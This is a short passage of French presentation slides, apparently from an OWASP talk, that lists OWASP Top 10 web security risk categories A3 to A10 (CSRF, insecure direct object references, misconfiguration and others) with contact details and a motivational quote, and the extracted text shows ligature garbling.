A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

• @SPoint

• sebas6en.gioria@owasp.org

Vous pouvez donc vous protéger de lui maintenant...

Saturday, March 2, 13

• @SPoint

• sebas6en.gioria@owasp.org

Il n'y a qu'une façon d'échouer, c'est d'abandonner avant d'avoir réussi [Olivier Lockert]

Vous pouvez donc vous protéger de lui maintenant...

Saturday, March 2, 13